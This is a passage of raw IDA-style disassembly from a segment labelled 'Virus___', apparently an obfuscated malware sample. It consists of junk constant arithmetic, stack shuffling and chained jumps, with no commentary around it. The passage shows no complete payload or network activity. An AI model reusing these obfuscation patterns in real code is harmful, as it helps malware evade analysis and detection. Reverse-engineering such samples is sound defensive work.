; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55EFE6 ; --------------------------------------------------------------------------- loc_55D432: ; CODE XREF: Virus___:0055D037j mov [esp], eax push ebp mov ebp, 10C00A9Ch jmp loc_5639FE ; --------------------------------------------------------------------------- loc_55D440: ; CODE XREF: Virus___:0055C21Ej pop ebx add ecx, 388478F6h add ecx, edi sub ecx, 388478F6h pop edi push eax mov eax, 0D3A2E3E2h add ecx, eax jmp loc_55DA36 ; --------------------------------------------------------------------------- loc_55D45D: ; CODE XREF: Virus___:00556828j sub ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_55B147 ; --------------------------------------------------------------------------- loc_55D46D: ; CODE XREF: Virus___:00560FAAj pop ecx or ebx, 5592127Ch push edi jmp loc_550553 ; --------------------------------------------------------------------------- loc_55D47A: ; CODE XREF: Virus___:0055096Ej shr edx, 3 xor edx, 75DF40B4h mov edi, edx mov edx, [esp] jmp loc_559074 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp jmp loc_55B9DA ; --------------------------------------------------------------------------- loc_55D497: ; CODE XREF: Virus___:00563EB2j mov [esp], dx mov dh, 0D1h push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_55AAC2 ; --------------------------------------------------------------------------- loc_55D4B1: ; CODE XREF: Virus___:005552A9j sub eax, 5426DC3h add eax, ecx add eax, 5426DC3h push esi jmp loc_553302 ; --------------------------------------------------------------------------- loc_55D4C3: ; CODE XREF: Virus___:0055640Ej or esi, 5BCF1258h jmp loc_55C230 ; --------------------------------------------------------------------------- loc_55D4CE: ; CODE XREF: Virus___:0055C412j pop ebp add esp, 4 and eax, esi pop esi shr eax, 0Ah xor eax, ecx push eax jmp loc_55B470 ; --------------------------------------------------------------------------- loc_55D4E0: ; CODE XREF: Virus___:005525DEj mov [esp], ecx push eax jmp loc_562ED7 ; --------------------------------------------------------------------------- loc_55D4E9: ; CODE XREF: Virus___:0055762Cj add ecx, 43581D13h jmp loc_5594D8 ; --------------------------------------------------------------------------- loc_55D4F4: ; CODE XREF: Virus___:00555665j add ecx, 3EA732F9h jmp loc_55E8EF ; --------------------------------------------------------------------------- loc_55D4FF: ; CODE XREF: Virus___:0055EC42j mov ebx, [esp] jmp loc_55D6BE ; --------------------------------------------------------------------------- loc_55D507: ; CODE XREF: Virus___:00558158j push eax push esp pop eax push edx mov edx, 16FC5ED9h inc edx add edx, 2299631Dh sub edx, 3995C1F3h add eax, edx pop edx push ebp jmp loc_55DA1C ; --------------------------------------------------------------------------- loc_55D526: ; CODE XREF: Virus___:005567C2j pop esi jmp loc_55B93A ; --------------------------------------------------------------------------- loc_55D52C: ; CODE XREF: Virus___:0055822Dj sub ecx, eax pop eax jmp loc_556053 ; --------------------------------------------------------------------------- loc_55D534: ; CODE XREF: Virus___:0055EF3Cj push edx mov edx, esp jmp loc_561273 ; --------------------------------------------------------------------------- loc_55D53C: ; CODE XREF: Virus___:005577AFj push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5544D1 ; --------------------------------------------------------------------------- loc_55D54E: ; CODE XREF: Virus___:0054FC3Aj sub esp, 4 mov [esp], ebx pop ecx pop ebx sub esp, 4 mov [esp], edi push 709E1AB1h mov edi, [esp] add esp, 4 xor edi, 12194A26h sub edi, 11ACED98h xor ecx, edi mov edi, [esp] add esp, 4 sub ecx, 0E78DDF3Fh and [edi+1Ch], ecx jmp loc_55A122 ; --------------------------------------------------------------------------- loc_55D58F: ; CODE XREF: Virus___:00563CD2j mov [esp], eax jmp loc_556FA1 ; --------------------------------------------------------------------------- loc_55D597: ; CODE XREF: Virus___:005616DDj or esi, ebx mov ebx, [esp] add esp, 4 shr esi, 3 sub esp, 4 mov [esp], eax push ebx mov ebx, 5E932175h add ebx, 0A9A4F3C2h mov eax, ebx pop ebx xor esi, eax pop eax sub esi, 176C7A35h add esi, 19C2F2F5h mov eax, esi pop esi jmp loc_5644B4 ; --------------------------------------------------------------------------- lodsb jmp loc_55A1C1 ; --------------------------------------------------------------------------- loc_55D5D7: ; CODE XREF: Virus___:0055C5BDj push esi jmp loc_5569A1 ; --------------------------------------------------------------------------- loc_55D5DD: ; CODE XREF: Virus___:0055E133j shr edi, 3 sub edi, 5F00725Fh xor edi, 908009D9h push edi add dword ptr [esp], 53D72A2Eh pop esi sub esi, 53D72A2Eh mov edi, [esp] jmp loc_556039 ; --------------------------------------------------------------------------- loc_55D603: ; CODE XREF: Virus___:00559BFAj add esp, 4 pop esi push ecx push eax mov eax, 6DAB2EA2h add eax, 5F38414Fh shr eax, 8 jmp loc_5623D2 ; --------------------------------------------------------------------------- loc_55D61B: ; CODE XREF: Virus___:0056131Cj mov esi, [esp] add esp, 4 jmp loc_54FFDD ; --------------------------------------------------------------------------- loc_55D626: ; CODE XREF: Virus___:00562E86j pop ecx jmp loc_555889 ; --------------------------------------------------------------------------- loc_55D62C: ; CODE XREF: Virus___:00559636j add eax, 9230198Ah sub ebx, eax jmp loc_55AB79 ; --------------------------------------------------------------------------- loc_55D638: ; CODE XREF: Virus___:0055336Aj push esi mov esi, 46AF19FAh jmp loc_550EE9 ; --------------------------------------------------------------------------- loc_55D643: ; CODE XREF: Virus___:00555457j sub eax, 6FE27D70h push ebp mov ebp, 7704751h sub ebp, 3C2A6FC3h xor ebp, 53F61807h xor ebp, 504F33CBh jmp loc_55FBF9 ; --------------------------------------------------------------------------- loc_55D665: ; CODE XREF: Virus___:005541BAj pop esi jmp loc_551BCC ; --------------------------------------------------------------------------- loc_55D66B: ; CODE XREF: Virus___:0055A6FEj pop dword ptr [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- mov ax, [esp] push esi jmp loc_55459A ; --------------------------------------------------------------------------- loc_55D685: ; CODE XREF: Virus___:0055900Cj neg dword ptr [esp] pop eax not eax jmp loc_5553F1 ; --------------------------------------------------------------------------- loc_55D690: ; CODE XREF: Virus___:00562801j add esp, 4 jmp loc_552147 ; --------------------------------------------------------------------------- loc_55D69B: ; CODE XREF: Virus___:0055BB67j add esp, 4 shl ebp, 4 push esi mov esi, 21B564CFh sub esi, 1972487Ch not esi inc esi jmp loc_555FDE ; --------------------------------------------------------------------------- loc_55D6B5: ; CODE XREF: Virus___:00554FFEj not esi push ebp push esi jmp loc_55A355 ; --------------------------------------------------------------------------- loc_55D6BE: ; CODE XREF: Virus___:0055D502j add esp, 4 jmp loc_55BF35 ; --------------------------------------------------------------------------- loc_55D6C6: ; CODE XREF: Virus___:0056413Dj mov ebp, 50830E7Dh push 4D01h jmp loc_56184F ; --------------------------------------------------------------------------- loc_55D6D5: ; CODE XREF: Virus___:005555A5j mov [esp], ecx jmp loc_5605A8 ; --------------------------------------------------------------------------- loc_55D6DD: ; CODE XREF: Virus___:005500B8j mov [esp], ebx push 9C560C4h pop ebx sub esp, 4 mov [esp], edi jmp loc_55627B ; --------------------------------------------------------------------------- loc_55D6F4: ; CODE XREF: Virus___:005585F6j mov ecx, 12206BF6h not ecx jmp loc_55FAC5 ; --------------------------------------------------------------------------- loc_55D700: ; CODE XREF: Virus___:005593A3j add esp, 4 jmp loc_559A66 ; --------------------------------------------------------------------------- loc_55D708: ; CODE XREF: Virus___:00563968j mov ebp, [esp] push edi mov edi, esp add edi, 4 jmp loc_562233 ; --------------------------------------------------------------------------- loc_55D719: ; CODE XREF: Virus___:00554754j mov eax, 5B795037h jmp loc_55CDC1 ; --------------------------------------------------------------------------- loc_55D723: ; CODE XREF: Virus___:0055411Bj mov ecx, 78555BBDh sub ebx, ecx pop ecx sub esp, 4 jmp loc_55C998 ; --------------------------------------------------------------------------- loc_55D736: ; CODE XREF: Virus___:0055AB55j push ebp push 1A745971h pop ebp jmp loc_562345 ; --------------------------------------------------------------------------- loc_55D742: ; CODE XREF: Virus___:0055ACD0j push ecx mov ecx, 31887D53h shr ecx, 1 dec ecx xor ecx, 166C7AA1h sub ecx, 23651534h add ecx, 0DD806B72h jmp loc_55E3D3 ; --------------------------------------------------------------------------- loc_55D762: ; CODE XREF: Virus___:00563D6Bj add esp, 4 jmp loc_563831 ; --------------------------------------------------------------------------- loc_55D76A: ; CODE XREF: Virus___:00560E8Fj not dword ptr [esp] pop ecx dec ecx jmp loc_56417C ; --------------------------------------------------------------------------- loc_55D774: ; CODE XREF: Virus___:00550421j pop eax add esp, 4 jmp loc_5513EB ; --------------------------------------------------------------------------- loc_55D780: ; CODE XREF: Virus___:0055A5F4j add ebp, 7E130CA9h add ebp, edx sub ebp, 7E130CA9h add ebp, 3F7A4E09h mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp xchg ebp, [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 jmp loc_5568F5 ; --------------------------------------------------------------------------- loc_55D7BB: ; CODE XREF: Virus___:00556EBBj push esi mov esi, esp jmp loc_54F87E ; --------------------------------------------------------------------------- loc_55D7C3: ; CODE XREF: Virus___:0055A184j mov eax, [esp] add esp, 4 jmp loc_55DFEE ; --------------------------------------------------------------------------- loc_55D7D1: ; CODE XREF: Virus___:0055EEB6j mov eax, [esp] add esp, 4 push eax mov eax, 48EB6B82h not eax jmp loc_5597C1 ; --------------------------------------------------------------------------- loc_55D7E4: ; CODE XREF: Virus___:005548D0j add esp, 4 pop ecx xor dl, al pop eax sub al, 0D3h add al, dl jmp loc_56038A ; --------------------------------------------------------------------------- loc_55D7F4: ; CODE XREF: Virus___:00555CBBj push ecx jmp loc_55F6C3 ; --------------------------------------------------------------------------- loc_55D7FA: ; CODE XREF: Virus___:0055C7BEj xor cl, 0C9h push ebx push eax jmp loc_561E44 ; --------------------------------------------------------------------------- loc_55D804: ; CODE XREF: Virus___:0056318Bj shl byte ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55D80D: ; CODE XREF: Virus___:00561D90j xor esi, edx pop edx jmp loc_55A22F ; --------------------------------------------------------------------------- loc_55D815: ; CODE XREF: Virus___:0055684Aj mov edx, esp add edx, 4 sub edx, 4 jmp loc_5626CD ; --------------------------------------------------------------------------- loc_55D828: ; CODE XREF: Virus___:00560EF5j add esp, 4 and ah, 36h sub ah, 26h shr ah, 4 or ah, 56h jmp loc_54F877 ; --------------------------------------------------------------------------- loc_55D83F: ; CODE XREF: Virus___:0055BEDBj sub ecx, 5CEC1127h add esi, ecx pop ecx jmp loc_556902 ; --------------------------------------------------------------------------- loc_55D84D: ; CODE XREF: Virus___:0055B319j neg cl xor cl, 56h push 3762h mov [esp], eax mov ah, cl push 2935h mov [esp], edx push ebx mov bh, ah jmp loc_563620 ; --------------------------------------------------------------------------- loc_55D86C: ; CODE XREF: Virus___:00563A32j push esi jmp loc_5567B9 ; --------------------------------------------------------------------------- loc_55D872: ; CODE XREF: Virus___:00550225j push ebx mov bh, 3Ah xor bh, 0DFh xor bh, 0DCh jmp loc_55E9DE ; --------------------------------------------------------------------------- loc_55D880: ; CODE XREF: Virus___:00554C59j sub esp, 4 mov [esp], eax mov eax, 4 sub esp, 4 mov [esp], ecx push 47DE3082h pop ecx and ecx, 6D135D9Bh and ecx, 543C3BF2h dec ecx not ecx shl ecx, 4 jmp loc_559892 ; --------------------------------------------------------------------------- loc_55D8B1: ; CODE XREF: Virus___:00563CE3j xchg ebp, [esp] pop esp mov [esp], eax mov eax, 4 jmp loc_55940F ; --------------------------------------------------------------------------- loc_55D8C2: ; CODE XREF: Virus___:0054FFEEj push 719Dh mov [esp], edi mov edi, esp jmp loc_5625A4 ; --------------------------------------------------------------------------- loc_55D8D1: ; CODE XREF: Virus___:00552ED0j pop cx jmp loc_55A255 ; --------------------------------------------------------------------------- loc_55D8D8: ; CODE XREF: Virus___:00552835j sub bl, 43h dec bl jmp loc_5547FE ; --------------------------------------------------------------------------- loc_55D8E2: ; CODE XREF: Virus___:00562CD8j or eax, 41754314h neg eax shl eax, 5 add eax, 731F0B0Bh neg eax sub eax, 357A6D17h add ebp, eax pop eax jmp loc_553D87 ; --------------------------------------------------------------------------- loc_55D900: ; CODE XREF: Virus___:00557FB5j sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_5542D1 ; --------------------------------------------------------------------------- loc_55D90C: ; CODE XREF: Virus___:0055CA1Bj add al, 1Bh sub al, 12h push ecx jmp loc_55FA73 ; --------------------------------------------------------------------------- loc_55D916: ; CODE XREF: Virus___:00564CA3j push edi mov edi, 43F529DAh dec edi neg edi sub edi, 18A742DAh add edi, 875CB3EFh mov ebx, edi pop edi not ebx not ebx push edi jmp loc_555F44 ; --------------------------------------------------------------------------- loc_55D938: ; CODE XREF: Virus___:00562F80j mov ecx, 676417C5h jmp loc_55A987 ; --------------------------------------------------------------------------- loc_55D942: ; CODE XREF: Virus___:005584A7j push 1672h mov [esp], edi push ecx mov ecx, esp add ecx, 4 jmp loc_5501C5 ; --------------------------------------------------------------------------- loc_55D958: ; CODE XREF: Virus___:005522DCj mov ebp, 40A1366Ch sub ebp, 1D8BD890h xor eax, ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5578F5 ; --------------------------------------------------------------------------- loc_55D976: ; CODE XREF: Virus___:00562ABAj pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 2D9Fh mov [esp], eax jmp loc_5506C1 ; --------------------------------------------------------------------------- loc_55D997: ; CODE XREF: Virus___:0055A250j sub [esp+4], eax pop eax push 299Dh mov [esp], edx push ebp mov ebp, 7F8D56ABh mov edx, ebp push dword ptr [esp] jmp loc_5623E7 ; --------------------------------------------------------------------------- loc_55D9B4: ; CODE XREF: Virus___:00554606j movzx eax, al jmp loc_55DF75 ; --------------------------------------------------------------------------- loc_55D9BC: ; CODE XREF: Virus___:0055A676j pop eax add esp, 4 jmp loc_55966D ; --------------------------------------------------------------------------- loc_55D9C5: ; CODE XREF: Virus___:00555A8Ej mov esp, [esp] mov [esp], esi mov esi, esp push ebp mov ebp, 151E073Eh neg ebp jmp loc_5567DA ; --------------------------------------------------------------------------- loc_55D9DA: ; CODE XREF: Virus___:005506A5j mov eax, [esp] sub esp, 4 mov [esp], esi jmp loc_552978 ; --------------------------------------------------------------------------- loc_55D9EB: ; CODE XREF: Virus___:00550269j mov esp, [esp] imul cl movzx cx, ah jmp loc_554D4C ; --------------------------------------------------------------------------- loc_55D9F9: ; CODE XREF: Virus___:0055C0A3j pop ebp push dword ptr [esp] jmp loc_5585D3 ; --------------------------------------------------------------------------- loc_55DA02: ; CODE XREF: Virus___:00563BC2j add esp, 4 add edi, 4 xor edi, [esp] jmp loc_56471F ; --------------------------------------------------------------------------- loc_55DA13: ; CODE XREF: Virus___:0055A8A0j push ax mov ah, 8Dh jmp loc_555D4C ; --------------------------------------------------------------------------- loc_55DA1C: ; CODE XREF: Virus___:0055D521j push ebx push 779B13C8h pop ebx add ebx, 406B7513h not ebx sub ebx, 3F4716FDh jmp loc_550897 ; --------------------------------------------------------------------------- loc_55DA36: ; CODE XREF: Virus___:0055D458j pop eax jmp loc_55DF0A ; --------------------------------------------------------------------------- loc_55DA3C: ; CODE XREF: Virus___:0055E785j not dl push ecx mov ch, 5 jmp loc_555B2C ; --------------------------------------------------------------------------- push 6DBDh push esp pop dword ptr [esp] push esi push ebx push 3EB2A84h mov ebx, [esp] jmp loc_563AAD ; --------------------------------------------------------------------------- loc_55DA5E: ; CODE XREF: Virus___:005646DBj movsx cx, al push small 7EDDh mov [esp], cx jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55DA6F: ; CODE XREF: Virus___:00553C89j pop esp or eax, eax jz loc_564380 push dword ptr [edi+1Ch] push edi push 5B2D6F38h jmp loc_557888 ; --------------------------------------------------------------------------- loc_55DA86: ; CODE XREF: Virus___:0055E174j mov edx, [esp] jmp loc_56220F ; --------------------------------------------------------------------------- loc_55DA8E: ; CODE XREF: Virus___:005535A0j push dword ptr [esp] mov eax, [esp] push ecx jmp loc_55FB1F ; --------------------------------------------------------------------------- loc_55DA9A: ; CODE XREF: Virus___:0056175Fj shl ebp, 5 jmp loc_55E4DB ; --------------------------------------------------------------------------- loc_55DAA2: ; CODE XREF: Virus___:0054F8CCj add ebp, 95F48B1Bh add edx, ebp pop ebp jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55DAB0: ; CODE XREF: Virus___:00564598j add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_55171C ; --------------------------------------------------------------------------- loc_55DABE: ; CODE XREF: Virus___:0055B0D7j pop ebx xor eax, 7C3101B6h sub eax, 69739F12h mov ecx, eax pop eax add ecx, 1C2778D7h push edi mov edi, 0CA4A0918h sub ecx, 478A7CB7h add ecx, edi add ecx, 478A7CB7h pop edi add esi, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub esi, 4 xchg esi, [esp] jmp loc_558CD4 ; --------------------------------------------------------------------------- loc_55DB13: ; CODE XREF: Virus___:00553070j add ecx, ebp add ecx, 46F37663h push dword ptr [esp] pop ebp jmp loc_5619E2 ; --------------------------------------------------------------------------- loc_55DB24: ; CODE XREF: Virus___:005545BDj mov ecx, 76C25086h push esi mov esi, 691807D2h dec esi jmp loc_55B20A ; --------------------------------------------------------------------------- loc_55DB35: ; CODE XREF: Virus___:00551B0Ej pop edx jmp loc_551409 ; --------------------------------------------------------------------------- loc_55DB3B: ; CODE XREF: Virus___:0056350Dj pop esp sub al, 94h pop ecx push edx jmp loc_56006C ; --------------------------------------------------------------------------- loc_55DB45: ; CODE XREF: Virus___:005572E9j add esp, 4 jmp loc_56058E ; --------------------------------------------------------------------------- loc_55DB4D: ; CODE XREF: Virus___:00554937j not edi or edi, 5DE3647Ah or edi, 532566F0h neg edi shl edi, 2 jmp loc_554E59 ; --------------------------------------------------------------------------- loc_55DB65: ; CODE XREF: Virus___:00556565j mov ebp, [esp] add esp, 4 jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55DB70: ; CODE XREF: Virus___:005584CAj mov [esp], eax jmp loc_55E297 ; --------------------------------------------------------------------------- loc_55DB78: ; CODE XREF: Virus___:005560B7j xor eax, ecx sub esp, 4 mov [esp], eax push 4F59h jmp loc_55CDB5 ; --------------------------------------------------------------------------- loc_55DB8A: ; CODE XREF: Virus___:00552DB6j pop edx pop edi xor ebp, edx xor edx, ebp xor ebp, edx add ebp, 111D59C6h jmp loc_55F5BD ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 54575124h, 4C7815Fh, 55000000h, 4BDh, 0DCEF8100h, 294FC43Fh dd 0DCC781EFh, 5D4FC43Fh, 8B243C87h, 7DE92424h db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DBCB: ; CODE XREF: Virus___:005646D1j mov al, dl mov ch, al pop eax pop edx sub al, ch pop ecx jmp loc_557461 ; --------------------------------------------------------------------------- loc_55DBD9: ; CODE XREF: Virus___:005549EBj add ecx, 4 add ecx, 2 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_559371 ; --------------------------------------------------------------------------- loc_55DBF3: ; CODE XREF: Virus___:0055551Ej pop eax jmp loc_559229 ; --------------------------------------------------------------------------- loc_55DBF9: ; CODE XREF: Virus___:00557F47j pop ecx jmp loc_55A323 ; --------------------------------------------------------------------------- loc_55DBFF: ; CODE XREF: Virus___:00559D8Aj add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_56464A ; --------------------------------------------------------------------------- loc_55DC14: ; CODE XREF: Virus___:00551EABj mov ecx, 24h add ecx, edi xor [ecx], esi mov ecx, [esp] jmp loc_5574C1 ; --------------------------------------------------------------------------- loc_55DC25: ; CODE XREF: Virus___:00563B60j sub edx, 0A3E7381h pop ebx push eax jmp loc_553705 ; --------------------------------------------------------------------------- loc_55DC32: ; CODE XREF: Virus___:00554E32j mov edi, 3A4D313Bh add edx, 4F1B47ECh add edx, edi sub edx, 4F1B47ECh mov edi, [esp] add esp, 4 add edx, 0F60DE03Ah add ecx, edx jmp loc_55484F ; --------------------------------------------------------------------------- loc_55DC58: ; CODE XREF: Virus___:0055FCD5j add eax, ebx jmp loc_550B71 ; --------------------------------------------------------------------------- loc_55DC5F: ; CODE XREF: Virus___:0055A3BFj add ebp, eax jmp loc_55CA7A ; --------------------------------------------------------------------------- loc_55DC66: ; CODE XREF: Virus___:00553461j pop esp jmp loc_55F8D2 ; --------------------------------------------------------------------------- loc_55DC6C: ; CODE XREF: Virus___:0055760Bj push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 jmp loc_55E759 ; --------------------------------------------------------------------------- loc_55DC7F: ; CODE XREF: Virus___:0056081Cj add dh, 6Ch sub dh, 0FFh sub dh, 0A3h mov al, dh mov edx, [esp] add esp, 4 add bl, al mov ax, [esp] jmp loc_55B66D ; --------------------------------------------------------------------------- loc_55DC9B: ; CODE XREF: Virus___:0055CC70j push ebx jmp loc_563860 ; --------------------------------------------------------------------------- loc_55DCA1: ; CODE XREF: Virus___:005641ADj push 0B0Dh jmp loc_55F730 ; --------------------------------------------------------------------------- loc_55DCAB: ; CODE XREF: Virus___:0055584Fj push edi mov edi, esi mov ebx, edi pop edi pop esi add ebx, 0BBBE057Bh sub eax, 0DD047A6h sub eax, ebx jmp loc_5625F5 ; --------------------------------------------------------------------------- loc_55DCC4: ; CODE XREF: Virus___:00561D24j inc edx neg edx sub edx, 8D583476h add ebx, edx jmp loc_55F2B8 ; --------------------------------------------------------------------------- loc_55DCD4: ; CODE XREF: Virus___:0055A3B7j xor ecx, 8576EAAAh jmp loc_554CDF ; --------------------------------------------------------------------------- loc_55DCDF: ; CODE XREF: Virus___:00563970j sub eax, 24301F13h add eax, ebp add eax, 24301F13h jmp loc_55AD7D ; --------------------------------------------------------------------------- loc_55DCF0: ; CODE XREF: Virus___:00556342j add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_55908A ; --------------------------------------------------------------------------- loc_55DD04: ; CODE XREF: Virus___:00563451j push ecx mov ecx, 364A2FAEh and ecx, 40A1720h not ecx shr ecx, 1 xor ecx, 7A77E055h shr ecx, 4 push esi mov esi, 71323C70h push ecx mov ecx, 7D4B7C31h shl ecx, 8 add ecx, 4D4D160Bh add ecx, 0ABEF2098h xor esi, ecx pop ecx xor esi, 0AD633F8h xor ecx, esi mov esi, [esp] add esp, 4 push edx mov edx, 47A44ADDh sub ecx, edx pop edx sub ecx, 35F9251Bh shl ecx, 2 jmp loc_560CD0 ; --------------------------------------------------------------------------- loc_55DD60: ; CODE XREF: Virus___:0054FA12j sub esp, 4 mov [esp], ebx mov bh, al push edx mov dh, bh mov ch, dh pop edx push dword ptr [esp] pop ebx jmp loc_56059B ; --------------------------------------------------------------------------- loc_55DD77: ; CODE XREF: Virus___:00559DDCj add ecx, 4 xchg ecx, [esp] mov esp, [esp] push eax mov eax, 609D273Eh neg eax add eax, 609D2742h add ebx, eax jmp loc_559739 ; --------------------------------------------------------------------------- loc_55DD94: ; CODE XREF: Virus___:00552B6Fj pop ebp loc_55DD95: ; CODE XREF: Virus___:00564BC6j push 342Ah mov [esp], ebx sub dword ptr [esp], 60FE2BA6h pop eax jmp loc_552079 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55B0FB ; --------------------------------------------------------------------------- loc_55DDB3: ; CODE XREF: Virus___:0055FB41j sub esp, 4 jmp loc_5572CB ; --------------------------------------------------------------------------- loc_55DDBB: ; CODE XREF: Virus___:0055BFC7j xor edi, [esp] pop esp mov [esp], dx push eax push ecx mov cl, 0D7h jmp loc_54FE55 ; --------------------------------------------------------------------------- loc_55DDCC: ; CODE XREF: Virus___:0055AFFDj pop ecx pop eax jmp loc_54FB82 ; --------------------------------------------------------------------------- loc_55DDD3: ; CODE XREF: Virus___:00562966j mov esi, 1 jmp loc_563D0F ; --------------------------------------------------------------------------- loc_55DDDD: ; CODE XREF: Virus___:0055F2F1j push edx pop edi mov edx, [esp] add esp, 4 push 4842h mov [esp], edi not dword ptr [esp] pop edi jmp loc_5588DB ; --------------------------------------------------------------------------- loc_55DDF9: ; CODE XREF: Virus___:0055264Cj push esi push edx push 4FB27120h jmp loc_560D64 ; --------------------------------------------------------------------------- loc_55DE05: ; CODE XREF: Virus___:0055D3EAj mov [esp], edx jmp loc_564B99 ; --------------------------------------------------------------------------- loc_55DE0D: ; CODE XREF: Virus___:00559AE7j add eax, edx pop edx jmp loc_555670 ; --------------------------------------------------------------------------- loc_55DE15: ; CODE XREF: Virus___:0055916Aj add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push 0A45h mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_55BDBA ; --------------------------------------------------------------------------- loc_55DE3C: ; CODE XREF: Virus___:0055356Aj push ebp mov ebp, 70E0792Dh sub ecx, ebp pop ebp sub ecx, ebx jmp loc_556EF7 ; --------------------------------------------------------------------------- loc_55DE4C: ; CODE XREF: Virus___:005507E8j shl ecx, 4 sub esp, 4 mov [esp], eax push ebp mov ebp, 7A893884h mov eax, ebp jmp loc_559E34 ; --------------------------------------------------------------------------- loc_55DE62: ; CODE XREF: Virus___:0055FA83j mov [esp], cx push ebp sub esp, 4 jmp loc_557077 ; --------------------------------------------------------------------------- loc_55DE72: ; CODE XREF: Virus___:0055B0D1j push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 sub esp, 4 mov [esp], esi push 4 jmp loc_55044A ; --------------------------------------------------------------------------- loc_55DE95: ; CODE XREF: Virus___:005645D3j sub esp, 4 mov [esp], esi mov esi, 4 sub ebx, 14ED283Fh add ebx, esi add ebx, 14ED283Fh pop esi push ebp jmp loc_555E65 ; --------------------------------------------------------------------------- loc_55DEB8: ; CODE XREF: Virus___:00559B64j push ecx jmp loc_55420D ; --------------------------------------------------------------------------- loc_55DEBE: ; CODE XREF: Virus___:0056192Dj sub esi, 454473AAh shl esi, 5 add esi, 19EF0E13h sub esi, 375FA1B6h add eax, esi jmp loc_562038 ; --------------------------------------------------------------------------- loc_55DEDA: ; CODE XREF: Virus___:005581CCj mov ecx, 26535005h or ecx, 6A077875h inc ecx inc ecx not ecx shl ecx, 2 sub ecx, 0E124BEFFh or edx, ecx pop ecx push edx push ebp pop edx mov ebp, [esp] jmp loc_55F2F6 ; --------------------------------------------------------------------------- loc_55DF00: ; CODE XREF: Virus___:00554003j add esp, 4 mov ch, dl jmp loc_551DFE ; --------------------------------------------------------------------------- loc_55DF0A: ; CODE XREF: Virus___:0055DA37j add eax, ecx pop ecx push 4991h jmp loc_56456C ; --------------------------------------------------------------------------- loc_55DF17: ; CODE XREF: Virus___:0055AC58j sub eax, 0B8509D3h pop ecx push 0F2h mov [esp], eax push esi mov esi, 659B435Fh mov eax, esi pop esi add ebx, 77BD4C8Bh jmp loc_55B3E5 ; --------------------------------------------------------------------------- loc_55DF39: ; CODE XREF: Virus___:0056107Aj push eax mov eax, 1ECF1127h sub [esp+4], eax mov eax, [esp] jmp loc_550B86 ; --------------------------------------------------------------------------- loc_55DF4B: ; CODE XREF: Virus___:00556FB3j add edx, edi jmp loc_55E87B ; --------------------------------------------------------------------------- loc_55DF52: ; CODE XREF: Virus___:0055177Bj add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_55545C ; --------------------------------------------------------------------------- loc_55DF60: ; CODE XREF: Virus___:0055944Bj add ah, 0E2h not ah push ebx mov bl, 2Bh shr bl, 3 neg bl add bl, 0C1h jmp loc_55EBF7 ; --------------------------------------------------------------------------- loc_55DF75: ; CODE XREF: Virus___:0055D9B7j push 45F1h mov [esp], eax jmp loc_553D1F ; --------------------------------------------------------------------------- loc_55DF82: ; CODE XREF: Virus___:00563A87j sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push 5557h mov [esp], edi mov edi, 797A63BAh shl edi, 7 neg edi jmp loc_55C2A6 ; --------------------------------------------------------------------------- loc_55DFAA: ; CODE XREF: Virus___:005563B0j pop eax add edi, 4 xchg edi, [esp] pop esp push edx mov edx, 35571DF3h not edx push eax mov eax, 7E7100AEh jmp loc_562065 ; --------------------------------------------------------------------------- loc_55DFC8: ; CODE XREF: Virus___:0055FCDBj add ebx, esi mov esi, [esp] jmp loc_561A6A ; --------------------------------------------------------------------------- loc_55DFD2: ; CODE XREF: Virus___:0055C00Fj push dword ptr [esp] push dword ptr [esp] pop eax push eax push esp jmp loc_552F03 ; --------------------------------------------------------------------------- loc_55DFE0: ; CODE XREF: Virus___:00550372j push ebp mov ebp, 7B2332E6h shl ebp, 8 jmp loc_55F416 ; --------------------------------------------------------------------------- loc_55DFEE: ; CODE XREF: Virus___:0055D7CCj mov ch, [esp+2] jmp loc_55EB70 ; --------------------------------------------------------------------------- loc_55DFF7: ; CODE XREF: Virus___:00564C78j mov edi, 1F2052D0h push ebp push ebx mov ebx, 98F0382h push edi mov edi, ebx mov ebp, edi jmp loc_5565B3 ; --------------------------------------------------------------------------- loc_55E00D: ; CODE XREF: Virus___:00554D1Aj push ecx pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55E014: ; CODE XREF: Virus___:0056401Bj sub ecx, edi push ebp sub esp, 4 mov [esp], eax mov eax, 730264B5h mov ebp, eax jmp loc_5594C5 ; --------------------------------------------------------------------------- loc_55E02C: ; CODE XREF: Virus___:0055F9F4j mov esp, [esp] mul cx jmp loc_5501F1 ; --------------------------------------------------------------------------- loc_55E037: ; CODE XREF: Virus___:00551757j mov edx, 0F9C74FFh push ebx mov ebx, 4C9171EFh jmp loc_5587E3 ; --------------------------------------------------------------------------- loc_55E047: ; CODE XREF: Virus___:005598D1j mov edi, 4 sub eax, edi mov edi, [esp] add esp, 4 jmp loc_55686B ; 